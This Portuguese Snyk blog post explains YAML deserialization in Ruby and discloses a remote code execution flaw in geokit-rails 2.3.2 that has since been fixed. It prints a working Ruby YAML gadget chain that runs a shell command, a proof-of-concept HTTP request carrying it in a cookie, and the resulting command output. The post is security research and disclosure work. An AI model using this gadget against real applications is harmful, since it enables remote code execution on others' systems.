Skip to main content

Como encontrar desserialização de YAML com Snyk Code

Escrito por
Headshot of Calum Hutton

Calum Hutton

23 de fevereiro de 2023

0 minutos de leitura

Conduzi uma pesquisa para tentar identificar problemas de injeção de YAML em projetos de código aberto usando Snyk Code. Embora essa vulnerabilidade não seja nova, o impacto potencial da injeção de YAML é alto, o que a tornou uma boa candidata para pesquisa. Essa pesquisa levou à descoberta de vários problemas em projetos de código aberto escritos em Python, PHP e Ruby. Este artigo se concentra no problema encontrado no geokit-rails versão 2.3.2, um plugin para Ruby on Rails

YAML

YAML é mais do que um simples formato de intercâmbio de dados, como JSON. A especificação descreve vários recursos avançados que merecem atenção em uma investigação de segurança, como:

  • Tags personalizadas (por exemplo, PyYAML)

  • Âncoras e aliases

  • Atributos mesclados

  • Fluxos com vários documentos

YAML também pode ser usado para serializar dados binários e objetos arbitrários em várias linguagens, o que pode levar a vulnerabilidades de desserialização. Essas vulnerabilidades são o foco desta pesquisa, pois a exploração bem-sucedida costuma levar à execução remota de código (RCE).

Desserialização de YAML em Ruby

Em Ruby, a análise de YAML faz parte da linguagem, portanto não são necessárias bibliotecas adicionais. Se uma aplicação usar o parser nativo de YAML do Ruby, estará vulnerável a ataques de desserialização caso YAML.load() ou YAML.load_file() seja usado em vez de YAML.safe_load() ou YAML.safe_load_file(), respectivamente. Uma alternativa segura por padrão para analisar YAML está disponível no projeto SafeYAML.

O script e a saída a seguir demonstram uma forma insegura de carregar YAML com YAML.load().

require 'yaml'

var = {
 id: 1,
 desc: 'A simple hash'
}

yaml = '---
:id: 1
:desc: A simple hash'

puts var
puts YAML.load(yaml)

# Prints:

{:id=>1, :desc=>"A simple hash"}
{:id=>1, :desc=>"A simple hash"}

A variável var contém um hash simples do Ruby, enquanto a variável yaml contém o hash equivalente serializado no formato YAML. As duas instruções puts exibem o mesmo hash, porque a variável yaml foi desserializada de volta de uma string YAML para um hash por meio de YAML.load(). Objetos mais complexos também podem ser serializados e desserializados dessa forma. 

Nos estágios iniciais desta pesquisa, encontrei um gadget universal de desserialização de YAML para Ruby que funcionava nas versões 2.x a 3.x do Ruby e que, ao ser desserializado, disparava a execução de comandos arbitrários.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

A carga YAML acima executa o comando id durante a desserialização se for analisada com YAML.load() ou YAML.load_file().

Estudo de caso: geokit-rails (2.3.2)

A gem geokit-rails é um plugin para Ruby on Rails que oferece serviços de localização para a aplicação. O plugin usa o método inseguro YAML.load() por meio do método retrieve_location_from_cookie_or_service() em geokit-rails/ip_geocode_lookup.rb:

# Uses the stored location value from the cookie if it exists.  If
# no cookie exists, calls out to the web service to get the location.
def retrieve_location_from_cookie_or_service
 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
 return location.success ? location : nil
end

Os dados enviados ao método inseguro YAML.load() vêm do parâmetro cookies do Ruby on Rails, que contém os cookies enviados na solicitação. Isso é uma boa notícia para um invasor, pois os cookies podem ser controlados diretamente pela criação de uma solicitação HTTP adequada. 

Prova de conceito

Configurei uma aplicação Rails com o plugin geokit-rails (versão 2.3.2) no Ruby 3.0.0. A solicitação HTTP a seguir foi enviada à aplicação para explorar o problema. Ela inclui a carga YAML codificada na URL no cookie geo_location.

GET http://127.0.0.1:3000/vulns HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

Na aplicação Rails, a carga foi desserializada e executada, rodando o comando id para comprovar a execução de comandos.

Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
sh: reading: command not found 
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
Completed 500 Internal Server Error in 167ms (Allocations: 35610)

Em um sistema que utiliza geokit-rails, um invasor que explore essa vulnerabilidade pode iniciar uma RCE, potencialmente assumindo o controle total do sistema. 

Correção

Esse problema foi divulgado de forma responsável ao mantenedor do geokit-rails e corrigido na versão 2.5.0 do software, substituindo por JSON o YAML que continha as informações de coordenadas. Com base nesta pesquisa, aprimoramos as regras do Snyk Code para detectar injeções de YAML, o que significa que agora mais desses problemas podem ser detectados nos projetos dos usuários. 

Comece a jogar Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo à gravação sob demanda do nosso workshop virtual introdutório.

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Por que agentes de programação com IA continuam criando falhas de controle de acesso

Agentes de programação com IA podem gerar uma lógica de autorização que compila e passa pela revisão, mas permite que um tenant acesse os dados de outro. Saiba por que é difícil detectar falhas de controle de acesso e como evitá-las.